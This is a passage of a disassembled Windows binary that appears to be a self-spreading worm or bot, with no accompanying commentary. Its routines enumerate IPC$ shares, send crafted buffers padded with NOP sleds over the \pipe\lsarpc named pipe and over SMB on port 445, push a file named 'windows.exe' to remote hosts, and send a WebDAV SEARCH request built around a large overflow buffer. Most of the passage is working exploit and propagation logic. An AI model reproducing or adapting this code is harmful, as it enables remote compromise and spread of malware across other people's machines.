		mov	eax, ebx
		jnz	short loc_41005A


loc_4100A3:				; CODE XREF: sub_410047+Aj
		xor	eax, eax


loc_4100A5:				; CODE XREF: sub_410047+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4100A9:				; CODE XREF: sub_410047+45j
		xor	eax, eax
		inc	eax
		jmp	short loc_4100A5
sub_410047	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100AE	proc near		; CODE XREF: sub_40BCF3+1CDp
					; DATA XREF: .data:off_43D87Co

var_62C		= byte ptr -62Ch
var_244		= byte ptr -244h
var_118		= byte ptr -118h
var_50		= byte ptr -50h
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
Dest		= byte ptr -30h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 62Ch
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+arg_4]
		push	eax
		xor	ebx, ebx
		lea	eax, [ebp+Dest]
		push	offset aS_1	; "\\\\%s"
		push	eax		; Dest
		mov	[ebp+var_4], ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_18], ebx
		call	_sprintf
		add	esp, 0Ch
		push	3E8h
		lea	eax, [ebp+var_62C]
		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp+Dest]
		push	eax
		push	ebx
		push	ebx
		call	ds:dword_42B07C	; MultiByteToWideChar
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_118]
		push	offset aSIpc_0	; "%s\\ipc$"
		push	eax		; Dest
		mov	[ebp+var_40], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_4C], ebx
		call	_sprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_118]
		mov	[ebp+var_3C], eax
		push	ebx
		mov	eax, offset byte_42B633
		push	eax
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		call	dword_4441AC
		test	eax, eax
		jz	short loc_41014E
		push	1
		push	ebx
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_4440D8
		xor	eax, eax
		jmp	loc_410276
; ---------------------------------------------------------------------------


loc_41014E:				; CODE XREF: sub_4100AE+87j
					; sub_4100AE+168j
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0FFFFFFFFh
		lea	eax, [ebp+var_4]
		push	eax
		push	2
		push	ebx
		lea	eax, [ebp+var_62C]
		push	eax
		call	dword_4440E0
		push	1
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_118]
		push	eax
		call	dword_4440D8
		cmp	[ebp+var_C], ebx
		jz	short loc_410191
		cmp	[ebp+var_C], 0EAh
		jnz	short loc_4101FE


loc_410191:				; CODE XREF: sub_4100AE+D8j
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		mov	[ebp+var_10], eax
		jz	short loc_41020F
		cmp	[ebp+var_14], ebx
		mov	[ebp+var_8], ebx
		jbe	short loc_4101FE


loc_4101A3:				; CODE XREF: sub_4100AE+14Ej
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jz	short loc_4101FE
		push	ebx
		push	ebx
		push	12Ch
		lea	ecx, [ebp+var_244]
		push	ecx
		push	0FFFFFFFFh
		push	dword ptr [eax]
		push	ebx
		push	ebx
		call	ds:dword_42B090	; WideCharToMultiByte
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_244]
		lea	esi, [ebp+arg_0]
		push	eax
		rep movsd
		call	sub_410047
		add	esp, 0C4h
		cmp	eax, 1
		jz	short loc_4101FE
		add	[ebp+var_10], 4
		inc	[ebp+var_8]
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_14]
		jb	short loc_4101A3


loc_4101FE:				; CODE XREF: sub_4100AE+E1j
					; sub_4100AE+F3j ...
		cmp	[ebp+var_4], ebx
		jz	short loc_41020F
		push	[ebp+var_4]
		call	dword_444140
		mov	[ebp+var_4], ebx


loc_41020F:				; CODE XREF: sub_4100AE+EBj
					; sub_4100AE+153j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41014E
		cmp	[ebp+var_4], ebx
		jz	short loc_41022A
		push	[ebp+var_4]
		call	dword_444140


loc_41022A:				; CODE XREF: sub_4100AE+171j
		cmp	[ebp+var_C], 5
		jnz	short loc_410273
		cmp	off_43C218, ebx
		jz	short loc_410273
		mov	eax, offset off_43C218
		mov	[ebp+var_8], eax


loc_410240:				; CODE XREF: sub_4100AE+1C3j
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		lea	esi, [ebp+arg_0]
		rep movsd
		lea	ecx, [ebp+Dest]
		push	ecx
		push	dword ptr [eax]
		call	sub_410047
		add	esp, 0C4h
		cmp	eax, 1
		jz	short loc_410273
		mov	eax, [ebp+var_8]
		add	eax, 4
		cmp	[eax], ebx
		mov	[ebp+var_8], eax
		jnz	short loc_410240


loc_410273:				; CODE XREF: sub_4100AE+180j
					; sub_4100AE+188j ...
		xor	eax, eax
		inc	eax


loc_410276:				; CODE XREF: sub_4100AE+9Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4100AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41027B	proc near		; CODE XREF: .text:004104B4p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_4]
		lea	eax, [esi+esi]
		cmp	[ebp+arg_C], eax
		jnb	short loc_41028F
		or	eax, 0FFFFFFFFh
		jmp	short loc_4102AE
; ---------------------------------------------------------------------------


loc_41028F:				; CODE XREF: sub_41027B+Dj
		xor	eax, eax
		test	esi, esi
		jbe	short loc_4102AB
		mov	ecx, [ebp+arg_8]


loc_410298:				; CODE XREF: sub_41027B+2Ej
		mov	edx, [ebp+arg_0]
		mov	dl, [eax+edx]
		mov	[ecx+eax*2], dl
		mov	byte ptr [ecx+eax*2+1],	0
		inc	eax
		cmp	eax, esi
		jb	short loc_410298


loc_4102AB:				; CODE XREF: sub_41027B+18j
		mov	eax, [ebp+arg_C]


loc_4102AE:				; CODE XREF: sub_41027B+12j
		pop	esi
		pop	ebp
		retn
sub_41027B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 10A8h
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+0Ch]
		push	1
		push	eax
		call	sub_41AA0A
		mov	esi, eax
		cmp	esi, 1
		pop	ecx
		pop	ecx
		jz	loc_4105A2
		push	0FDE8h
		push	539h
		call	sub_41B325
		pop	ecx
		pop	ecx
		push	eax
		mov	[ebp-8], eax
		call	dword_444260	; htons
		movzx	eax, ax
		xor	eax, 9999h
		mov	[ebp-10h], eax
		push	2
		lea	eax, [ebp-10h]
		push	eax
		push	offset dword_43FD88
		call	_memcpy
		add	esp, 0Ch
		mov	eax, esi
		dec	eax
		dec	eax
		jz	loc_4103E9
		push	8522h
		mov	dword ptr [ebp-4], 8520h
		call	??2@YAPAXI@Z	; operator new(uint)
		mov	dword ptr [esp], 8521h
		xor	ebx, ebx
		mov	esi, eax
		push	ebx
		push	esi
		call	_memset
		push	24h
		push	offset dword_43FEF4
		push	esi
		call	_memcpy
		mov	eax, 1004600h
		lea	edi, [esi+24h]
		mov	ecx, 1FFAh
		push	2
		rep stosd
		lea	eax, [esi+7FF4h]
		push	ebx
		push	eax
		call	_memset
		push	4FAh
		lea	eax, [esi+7FF6h]
		push	offset dword_4403E8
		push	eax
		call	_memcpy
		mov	eax, 4001h
		push	5
		mov	[esi+18h], eax
		mov	[esi+20h], eax
		lea	eax, [esi+7E0h]
		push	offset dword_43FE74
		push	eax
		mov	dword ptr [esi+8], 8520h
		mov	dword ptr [esi+10h], 84F0h
		call	_memcpy
		add	esp, 3Ch
		xor	edi, edi


loc_4103B1:				; CODE XREF: .text:004103CCj
		push	1
		lea	eax, [esi+edi+24h]
		push	90h
		push	eax
		call	_memset
		add	esp, 0Ch
		inc	edi
		cmp	edi, 1A9h
		jle	short loc_4103B1
		push	195h
		lea	eax, [esi+3Ch]
		push	offset dword_43FCD8
		push	eax
		call	_memcpy
		add	esp, 0Ch
		jmp	loc_4104EB
; ---------------------------------------------------------------------------


loc_4103E9:				; CODE XREF: .text:00410316j
		push	24F2h
		mov	dword ptr [ebp-4], 24F0h
		call	??2@YAPAXI@Z	; operator new(uint)
		mov	dword ptr [esp], 24F1h
		xor	ebx, ebx
		mov	esi, eax
		push	ebx
		push	esi
		call	_memset
		push	24h
		push	offset dword_43FED0
		push	esi
		call	_memcpy
		mov	eax, offset loc_410041
		lea	edi, [esi+24h]
		mov	ecx, 800h
		push	2
		rep stosd
		lea	eax, [esi+2024h]
		push	ebx
		push	eax
		call	_memset
		push	4CAh
		lea	eax, [esi+2026h]
		push	offset dword_43FF18
		push	eax
		call	_memcpy
		mov	eax, 1001h
		push	4
		mov	[esi+18h], eax
		mov	[esi+20h], eax
		lea	eax, [esi+1654h]
		push	offset dword_43FE70
		push	eax
		mov	dword ptr [esi+8], 24F0h
		mov	dword ptr [esi+10h], 24C0h
		call	_memcpy
		push	8
		lea	eax, [esi+165Ch]
		push	offset off_43FE7C
		push	eax
		call	_memcpy
		add	esp, 48h
		mov	edi, 32Ah
		push	edi
		call	??2@YAPAXI@Z	; operator new(uint)
		push	edi
		push	ebx
		push	eax
		mov	[ebp-0Ch], eax
		call	_memset
		push	edi
		mov	edi, [ebp-0Ch]
		push	edi
		push	195h
		push	offset dword_43FCD8
		call	sub_41027B
		add	esp, 20h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4104D0
		push	edi
		call	j__free
		pop	ecx


loc_4104C8:				; CODE XREF: .text:004106C1j
		xor	eax, eax
		inc	eax
		jmp	loc_4105A4
; ---------------------------------------------------------------------------


loc_4104D0:				; CODE XREF: .text:004104BFj
		push	328h
		lea	eax, [esi+1664h]
		push	edi
		push	eax
		call	_memcpy
		push	edi
		call	j__free
		add	esp, 10h


loc_4104EB:				; CODE XREF: .text:004103E4j
		cmp	dword ptr [ebp+0A8h], 87h
		jz	short loc_410517
		cmp	dword ptr [ebp+0A8h], 1BDh
		jz	loc_4105A9
		cmp	dword ptr [ebp+0A8h], 401h
		jnz	loc_41059B


loc_410517:				; CODE XREF: .text:004104F5j
		lea	eax, [ebp+0Ch]
		push	eax
		mov	word ptr [ebp-24h], 2
		call	dword_44417C	; inet_addr
		push	dword ptr [ebp+0A8h]
		mov	[ebp-20h], eax
		call	dword_444260	; htons
		push	ebx
		push	1
		push	2
		mov	[ebp-22h], ax
		call	dword_444100	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41059B
		push	10h
		lea	eax, [ebp-24h]
		push	eax
		push	edi
		call	dword_4440AC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41059B
		push	ebx
		push	48h
		push	offset dword_43FE88
		push	edi
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41059B
		push	ebx
		push	2710h
		lea	eax, [ebp-10A8h]
		push	eax
		push	edi
		call	dword_444064	; recv
		push	ebx
		push	dword ptr [ebp-4]
		push	esi
		push	edi
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_410670


loc_41059B:				; CODE XREF: .text:00410511j
					; .text:0041054Aj ...
		push	esi
		call	j__free


loc_4105A1:				; CODE XREF: .text:00410608j
		pop	ecx


loc_4105A2:				; CODE XREF: .text:004102D3j
					; .text:004106AAj
		xor	eax, eax


loc_4105A4:				; CODE XREF: .text:004104CBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4105A9:				; CODE XREF: .text:00410501j
		lea	eax, [ebp-44h]
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40C89B
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41059B
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-0A8h]
		push	offset aSPipeLsarpc ; "\\\\%s\\pipe\\lsarpc"
		push	eax
		call	_sprintf
		add	esp, 0Ch
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		lea	eax, [ebp-0A8h]
		push	eax
		call	ds:dword_42B08C	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_41060A


loc_4105F8:				; CODE XREF: .text:00410650j
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40C979
		push	esi
		call	j__free
		pop	ecx
		jmp	short loc_4105A1
; ---------------------------------------------------------------------------


loc_41060A:				; CODE XREF: .text:004105F6j
		push	ebx
		lea	eax, [ebp-0Ch]
		push	eax
		push	1000h
		lea	eax, [ebp-10A8h]
		push	eax
		push	48h
		push	offset dword_43FE88
		push	edi
		call	ds:dword_42B088	; TransactNamedPipe
		cmp	byte ptr [ebp-10A6h], 0Ch
		jz	short loc_410635
		push	edi
		jmp	short loc_41064A
; ---------------------------------------------------------------------------


loc_410635:				; CODE XREF: .text:00410630j
		push	ebx
		lea	eax, [ebp-14h]
		push	eax
		push	dword ptr [ebp-4]
		push	esi
		push	edi
		call	ds:dword_42B084	; WriteFile
		test	eax, eax
		push	edi
		jnz	short loc_410652


loc_41064A:				; CODE XREF: .text:00410633j
		call	ds:dword_42B004	; CloseHandle
		jmp	short loc_4105F8
; ---------------------------------------------------------------------------


loc_410652:				; CODE XREF: .text:00410648j
		call	ds:dword_42B004	; CloseHandle
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40C979
		push	esi
		call	j__free
		pop	ecx
		pop	ecx
		push	1F4h
		jmp	short loc_410684
; ---------------------------------------------------------------------------


loc_410670:				; CODE XREF: .text:00410595j
		push	edi
		call	dword_444218	; closesocket
		push	esi
		call	j__free
		mov	dword ptr [esp], 1F4h


loc_410684:				; CODE XREF: .text:0041066Ej
		call	ds:dword_42B014	; Sleep
		push	dword ptr [ebp-8]
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_41B128
		add	esp, 0C0h
		cmp	al, 1
		jnz	loc_4105A2
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		lea	eax, dword_43D880[eax]
		inc	dword ptr [eax]
		jmp	loc_4104C8
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 25A8h
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp-11A8h]
		push	eax
		push	2
		call	ds:dword_42B204	; WSAStartup
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_444100	; socket
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp-8], edi
		jl	loc_410A2E
		push	1BDh
		mov	word ptr [ebp-18h], 2
		call	dword_444260	; htons
		mov	[ebp-16h], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_44417C	; inet_addr
		push	8
		mov	[ebp-14h], eax
		lea	eax, [ebp-10h]
		push	ebx
		push	eax
		call	_memset
		add	esp, 0Ch
		push	10h
		lea	eax, [ebp-18h]
		push	eax
		push	edi
		call	dword_4440AC	; connect
		test	eax, eax
		jl	loc_410A2E
		push	ebx
		push	89h
		push	offset dword_4408E8
		push	edi
		call	dword_4441A0	; send
		test	eax, eax
		jl	loc_410A2E
		push	ebx
		mov	esi, 1000h
		push	esi
		lea	eax, [ebp-25A8h]
		push	eax
		push	edi
		call	dword_444064	; recv
		cmp	eax, 0Ah
		jle	loc_410A2E
		cmp	[ebp-259Fh], bl
		jnz	loc_410A2E
		push	ebx
		push	0A8h
		push	offset dword_440978
		push	edi
		call	dword_4441A0	; send
		test	eax, eax
		jl	loc_410A2E
		push	ebx
		push	esi
		lea	eax, [ebp-25A8h]
		push	eax
		push	edi
		call	dword_444064	; recv
		cmp	eax, 0Ah
		jle	loc_410A2E
		push	ebx
		push	0DEh
		push	offset dword_440A28
		push	edi
		call	dword_4441A0	; send
		test	eax, eax
		jl	loc_410A2E
		push	ebx
		push	esi
		lea	eax, [ebp-25A8h]
		push	eax
		push	edi
		call	dword_444064	; recv
		cmp	eax, 0Ah
		jle	loc_410A2E
		cmp	[ebp-259Fh], bl
		jnz	loc_410A2E
		push	30h
		lea	eax, [ebp-1018h]
		push	offset dword_440B08
		push	eax
		call	_memcpy
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-15A8h]
		push	offset aSIpc_1	; "\\\\%s\\IPC$"
		push	eax
		call	_sprintf
		lea	eax, [ebp-15A8h]
		push	eax
		lea	eax, [ebp-0FE8h]
		push	eax
		call	sub_40FB31
		lea	eax, [ebp-15A8h]
		push	eax
		call	_strlen
		shl	eax, 1
		movzx	edi, ax
		add	eax, 9
		mov	[ebp-4], eax
		push	1
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-0FEBh]
		push	eax
		lea	edi, [ebp+edi-0FE8h]
		call	_memcpy
		push	8
		push	offset dword_440B3C
		push	edi
		call	_memcpy
		xor	eax, eax
		add	edi, 8
		mov	ax, di
		lea	ecx, [ebp-1018h]
		sub	ax, cx
		push	1
		sub	eax, 4
		mov	[ebp-4], eax
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-1015h]
		push	eax
		call	_memcpy
		add	esp, 48h
		lea	eax, [ebp-1018h]
		push	ebx
		sub	edi, eax
		push	edi
		mov	edi, [ebp-8]
		push	eax
		push	edi
		call	dword_4441A0	; send
		test	eax, eax
		jl	loc_410A2E
		push	ebx
		push	esi
		lea	eax, [ebp-25A8h]
		push	eax
		push	edi
		call	dword_444064	; recv
		cmp	eax, 0Ah
		jle	loc_410A2E
		cmp	[ebp-259Fh], bl
		jnz	loc_410A2E
		push	ebx
		push	6Ah
		push	offset dword_440B48
		push	edi
		call	dword_4441A0	; send
		test	eax, eax
		jl	loc_410A2E
		push	ebx
		push	esi
		lea	eax, [ebp-25A8h]
		push	eax
		push	edi
		call	dword_444064	; recv
		cmp	eax, 0Ah
		jle	loc_410A2E
		cmp	[ebp-259Fh], bl
		jnz	loc_410A2E
		push	ebx
		push	0A0h
		push	offset dword_440BB8
		push	edi
		call	dword_4441A0	; send
		test	eax, eax
		jl	loc_410A2E
		push	ebx
		push	esi
		lea	eax, [ebp-25A8h]
		push	eax
		push	edi
		call	dword_444064	; recv
		cmp	eax, 0Ah
		jle	loc_410A2E
		cmp	[ebp-259Fh], bl
		jnz	loc_410A2E
		push	esi
		lea	eax, [ebp-1018h]
		push	0FFFFFF90h
		push	eax
		call	_memset
		push	130h
		lea	eax, [ebp-1018h]
		push	offset dword_440C60
		push	eax
		call	_memcpy
		add	esp, 18h
		push	4E1Ah
		call	dword_444260	; htons
		push	158h
		mov	word_440E62, ax
		lea	eax, [ebp-0EE8h]
		push	offset dword_440DA8
		push	eax
		call	_memcpy
		push	0Ch
		lea	eax, [ebp-790h]
		push	offset dword_440D94
		push	eax
		call	_memcpy
		add	esp, 18h
		push	ebx
		push	894h
		lea	eax, [ebp-1018h]
		push	eax
		push	edi
		call	dword_4441A0	; send
		test	eax, eax
		jl	short loc_410A2E
		push	ebx
		push	esi
		lea	eax, [ebp-25A8h]
		push	eax
		push	edi
		call	dword_444064	; recv
		push	12Ch
		call	ds:dword_42B014	; Sleep
		push	4A2Dh
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [ebp+8]
		mov	edi, esp
		rep movsd
		call	sub_41B128
		add	esp, 0C0h
		test	al, al
		jz	short loc_410A2E
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		lea	eax, dword_43D880[eax]
		inc	dword ptr [eax]
		xor	eax, eax
		inc	eax
		jmp	short loc_410A30
; ---------------------------------------------------------------------------


loc_410A2E:				; CODE XREF: .text:004106F9j
					; .text:0041073Fj ...
		xor	eax, eax


loc_410A30:				; CODE XREF: .text:00410A2Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410A35	proc near		; CODE XREF: .text:00410BC6p
					; .text:00410BE7p

Str		= byte ptr -210h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		xor	esi, esi
		cmp	[ebp+arg_BC], esi
		push	edi
		jnz	short loc_410A64
		push	4		; Size
		push	offset dword_440F08 ; Src
		push	offset byte_440F4D ; Dst
		call	_memcpy
		push	4
		push	offset dword_440F10
		jmp	short loc_410A89
; ---------------------------------------------------------------------------


loc_410A64:				; CODE XREF: sub_410A35+13j
		cmp	[ebp+arg_BC], 1
		jnz	loc_410BA8
		push	4		; Size
		push	offset dword_440F18 ; Src
		push	offset byte_440F4D ; Dst
		call	_memcpy
		push	4		; Size
		push	offset dword_440F20 ; Src


loc_410A89:				; CODE XREF: sub_410A35+2Dj
		push	offset aRrrrrrrrrrrrrr ; ""...
		call	_memcpy
		add	esp, 18h
		push	offset aWindows_exe ; "windows.exe"
		push	[ebp+arg_0]
		call	sub_4023C9
		pop	ecx
		push	eax		; Str
		lea	eax, [ebp+Str]
		push	200h		; int
		push	eax		; Dst
		call	sub_40AE18
		add	esp, 10h
		test	eax, eax
		jz	loc_410BA8
		push	esi
		push	1
		push	2
		call	dword_444100	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_410BA8
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	[ebp+arg_A0]
		mov	[ebp+Dst], 2
		call	dword_444260	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_44417C	; inet_addr
		mov	[ebp+var_C], eax
		push	10h
		lea	eax, [ebp+Dst]
		push	eax
		push	edi
		call	dword_4440AC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_410BA1
		push	esi
		push	85h
		push	offset dword_440F28
		push	edi
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410BA1
		mov	esi, ds:dword_42B014
		push	0Ah
		call	esi	; Sleep
		and	[ebp+arg_BC], 0


loc_410B47:				; CODE XREF: sub_410A35+146j
		lea	eax, [ebp+Str]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	edi
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410BA1
		push	0Ah
		call	esi	; Sleep
		inc	[ebp+arg_BC]
		cmp	[ebp+arg_BC], 7
		jl	short loc_410B47
		push	3E8h
		call	esi	; Sleep
		push	edi
		call	dword_444218	; closesocket
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		lea	eax, dword_43D880[eax]
		inc	dword ptr [eax]
		xor	eax, eax
		inc	eax
		jmp	short loc_410BAA
; ---------------------------------------------------------------------------


loc_410BA1:				; CODE XREF: sub_410A35+E4j
					; sub_410A35+FFj ...
		push	edi
		call	dword_444218	; closesocket


loc_410BA8:				; CODE XREF: sub_410A35+36j
					; sub_410A35+86j ...
		xor	eax, eax


loc_410BAA:				; CODE XREF: sub_410A35+16Aj
		pop	edi
		pop	esi
		leave
		retn
sub_410A35	endp

; ---------------------------------------------------------------------------
		push	esi
		push	edi
		push	0
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [esp+0CCh]
		mov	edi, esp
		rep movsd
		call	sub_410A35
		add	esp, 0C0h
		push	1
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		lea	esi, [esp+0CCh]
		mov	edi, esp
		rep movsd
		call	sub_410A35
		add	esp, 0C0h
		xor	eax, eax
		pop	edi
		inc	eax
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=64h


sub_410BF8	proc near		; CODE XREF: .text:00410DC5p

Dst		= byte ptr -23950h
var_100D0	= byte ptr -100D0h
var_100CF	= byte ptr -100CFh
var_FFB5	= byte ptr -0FFB5h
var_FFB4	= byte ptr -0FFB4h
var_6D0		= byte ptr -6D0h
var_D0		= byte ptr -0D0h
Str		= byte ptr -0CCh
var_44		= byte ptr -44h
var_43		= byte ptr -43h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	eax, 23950h
		lea	ebp, [esp-64h]
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		push	0Ch
		pop	ecx
		xor	eax, eax
		xor	ebx, ebx
		mov	[ebp+64h+var_44], bl
		lea	edi, [ebp+64h+var_43]
		rep stosd
		stosb
		mov	[ebp+64h+var_100D0], bl
		xor	eax, eax
		mov	ecx, 3FFFh
		lea	edi, [ebp+64h+var_100CF]
		rep stosd
		stosw
		push	22h
		pop	ecx
		push	[ebp+64h+arg_8]
		stosb
		mov	esi, offset a?xmlVersion1_0 ; "<?xml version=\"1.0\"?>\r\n<g:searchrequest"...
		lea	edi, [ebp+64h+Str]
		rep movsd
		call	ds:dword_42B200	; htons
		push	[ebp+64h+arg_4]
		xor	eax, 8080h
		mov	word_44107F, ax
		call	dword_444260	; htons
		push	[ebp+64h+arg_0]
		mov	[ebp+64h+var_E], ax
		mov	[ebp+64h+var_10], 2
		call	dword_44417C	; inet_addr
		push	ebx
		push	1
		push	2
		mov	[ebp+64h+var_C], eax
		call	dword_444100	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_410C8C
		xor	eax, eax
		inc	eax
		jmp	loc_410D9F
; ---------------------------------------------------------------------------


loc_410C8C:				; CODE XREF: sub_410BF8+8Aj
		push	10h
		lea	eax, [ebp+64h+var_10]
		push	eax
		push	esi
		call	dword_4440AC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410CA5
		or	eax, eax
		jmp	loc_410D9F
; ---------------------------------------------------------------------------


loc_410CA5:				; CODE XREF: sub_410BF8+A4j
		mov	eax, 43434343h
		mov	ecx, 4000h
		lea	edi, [ebp+64h+var_100D0]
		rep stosd
		xor	eax, eax


loc_410CB9:				; CODE XREF: sub_410BF8+E2j
		cmp	eax, 22Dh
		jnb	short loc_410CDC
		mov	cl, byte_440FB0[eax]
		mov	[ebp+eax+64h+var_6D0], cl
		inc	eax
		lea	ecx, [eax+0FA00h]
		cmp	ecx, 10000h
		jb	short loc_410CB9


loc_410CDC:				; CODE XREF: sub_410BF8+C6j
		mov	al, [ebp+64h+arg_C]
		mov	[ebp+64h+var_FFB5], al
		mov	al, [ebp+64h+arg_10]
		push	13880h		; Size
		mov	[ebp+64h+var_FFB4], al
		lea	eax, [ebp+64h+Dst]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+64h+var_D0], bl
		call	_memset
		push	32h		; Size
		lea	eax, [ebp+64h+var_44]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	[ebp+64h+arg_0]
		lea	eax, [ebp+64h+var_100D0]
		push	eax
		lea	eax, [ebp+64h+Dst]
		push	offset aSearchSHttp1_1 ; "SEARCH /%s HTTP/1.1\r\nHost: %s\r\nContent-"...
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+64h+Str]
		push	eax		; Str
		call	_strlen
		push	eax
		lea	eax, [ebp+64h+Dst]
		push	eax
		push	offset aSD_1	; "%s%d\r\n\r\n"
		push	eax		; Dest
		call	_sprintf
		add	esp, 3Ch
		lea	eax, [ebp+64h+Dst]
		push	ebx
		push	eax		; Str
		call	_strlen
		mov	edi, ds:dword_42B210
		pop	ecx
		push	eax
		lea	eax, [ebp+64h+Dst]
		push	eax
		push	esi
		call	edi	; send
		lea	eax, [ebp+64h+Str]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+64h+Str]
		push	eax
		push	esi
		call	edi	; send
		push	ebx
		push	32h
		lea	eax, [ebp+64h+var_44]
		push	eax
		push	esi
		call	dword_444064	; recv
		cmp	[ebp+64h+var_44], bl
		jz	short loc_410D93
		or	edi, 0FFFFFFFFh
		jmp	short loc_410D96
; ---------------------------------------------------------------------------


loc_410D93:				; CODE XREF: sub_410BF8+194j
		xor	edi, edi
		inc	edi


loc_410D96:				; CODE XREF: sub_410BF8+199j
		push	esi
		call	dword_444218	; closesocket
		mov	eax, edi


loc_410D9F:				; CODE XREF: sub_410BF8+8Fj
					; sub_410BF8+A8j
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 64h
		leave
		retn
sub_410BF8	endp

; ---------------------------------------------------------------------------
		push	esi
		push	edi
		mov	edi, offset dword_4411E0
		mov	esi, 83h


loc_410DB3:				; CODE XREF: .text:00410DDBj
		push	dword ptr [edi+4]
		lea	eax, [esp+14h]
		push	dword ptr [edi]
		push	esi
		push	dword ptr [esp+0B8h]
		push	eax
		call	sub_410BF8
